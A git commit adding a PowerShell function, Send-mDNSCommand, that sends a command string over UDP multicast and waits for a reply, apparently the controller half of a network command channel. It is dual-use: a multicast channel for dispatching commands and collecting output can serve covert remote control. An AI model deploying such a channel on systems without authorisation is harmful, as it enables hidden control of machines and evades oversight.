Create Send-mDNSCommand.ps1

2026-06-21 14:09:04 +00:00 · 2017-11-07 21:02:21 -05:00
parent b96a9bc34a
commit d5fdd6e2b7
1 changed files with 73 additions and 0 deletions
@@ -0,0 +1,73 @@
+function Send-mDNSCommand {
+    <#
+    .SYNOPSIS
+    Send a command via multicast
+    .DESCRIPTION
+    Send a command via multicast
+    .EXAMPLE
+    Send-mDNSCommand -Command "Get-Process"
+    .PARAMETER MultiCastGroup
+    The Multicast Group to listen on
+    .PARAMETER MultiCastPort
+    The port to listen for UDP packets
+    .PARAMETER BindPort
+    The port to bind to for sending UDP packets
+    .PARAMETER Command
+    The command to run
+    #>
+    [CmdletBinding()]
+    Param (
+        [Parameter(Mandatory = $false, Position = 0)]
+        [String]
+        $MultiCastGroup = "224.1.1.1",
+
+        [Parameter(Mandatory = $false, Position = 1)]
+        [String]
+        $MultiCastPort = 51111,
+
+        [Parameter(Mandatory = $false, Position = 1)]
+        [String]
+        $BindPort = 51112,
+        
+        [Parameter(Mandatory = $false, Position = 0)]
+        [String]
+        $Command = "Get-Process"
+    )
+    Begin {
+        $udp_client = new-Object System.Net.Sockets.UdpClient $BindPort
+        $multicast_group = [IPAddress]$MultiCastGroup
+        $udp_client.JoinMulticastGroup($multicast_group)
+        $enc = [system.Text.Encoding]::UTF8
+        $response_packet = $enc.GetBytes($Command) 
+        $endpoint = New-Object Net.IPEndpoint([IPAddress]$MultiCastGroup,$MultiCastPort)
+    }
+    Process {
+        Try {
+            $udp_client.Connect($endpoint)
+            $udp_client.Send($response_packet,$response_packet.Length) |Out-Null  
+            $udp_client.Close()
+            $udp_client = New-Object System.Net.Sockets.UdpClient
+            $udp_client.ExclusiveAddressUse = $False
+            $LocalEndPoint = New-Object System.Net.IPEndPoint([ipaddress]::Any,$MultiCastPort)
+            $udp_client.Client.SetSocketOption([System.Net.Sockets.SocketOptionLevel]::Socket, [System.Net.Sockets.SocketOptionName]::ReuseAddress,$true)
+            $udp_client.ExclusiveAddressUse = $False
+            $udp_client.Client.Bind($LocalEndPoint)
+            $multicast_group = [IPAddress]::Parse($MultiCastGroup)
+            $udp_client.JoinMulticastGroup($multicast_group)
+            While ($true) {
+                $receivebytes = $udp_client.Receive([ref]$endpoint)
+                ([text.encoding]::ASCII).GetString($receivebytes)
+                $udp_client.Close()|Out-Null
+                break
+                
+            } 
+        }                
+        Catch {
+            $ErrorMessage = $_.Exception.Message
+            $FailedItem = $_.Exception.ItemName
+        }
+    }
+    End {
+        $udp_client.Close()
+    }
+}